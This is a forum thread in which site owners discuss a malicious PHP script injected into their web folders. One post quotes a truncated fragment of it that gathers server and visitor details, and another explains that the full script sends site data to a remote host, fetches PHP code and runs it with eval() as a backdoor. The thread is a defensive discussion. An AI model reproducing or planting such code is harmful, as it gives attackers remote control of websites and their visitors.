what hacker do with this php script

[William Palmer]

Hi mate this part of the code

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER

Is basically showing

your host name , servername, requested url,referrrer , user agent, the filename stuff like that it can be harmful depending on what it is beign used for

its encodeing the text in base64 encrypted using functions decalred by the alaphabet characters of A-I

what it does is sends ppl to a false php page and redirects them to another one

this attack is being used on TONS of websites

as welll as this same script is being used in the public

http://pastebin.com/m6649b7c3


also read this

http://wordpress.org/support/topic/220523

[Chri5]

anyway to stop it?

[William Palmer]

have you tried deleting it? also chmode the file to 600 for no execution try that also on the site i think it showed you how to stop it

[Phozon]

found this on chillwarez when i bought it there was 2 randomly numbed php files and a .htaccess with the numbered files in it this was in every folder with images

EDIT: lol that pastebin link was mine

as welll as this same script is being used in the public

http://pastebin.com/m6649b7c3

[William Palmer]

BAAHAHAHAH nice warezdemon i just done a quick google for those scripts

lol

[Phozon]

meh warezwitch has been struck to i just noticed

[Hyperz]

I reversed this script for demon some time back.

What it does:
- Send some site info to website X
- Retrieve php code from website X
- eval() (execute) the retrieved php code

Edit: so basically this can be used as a remote virus or automated shell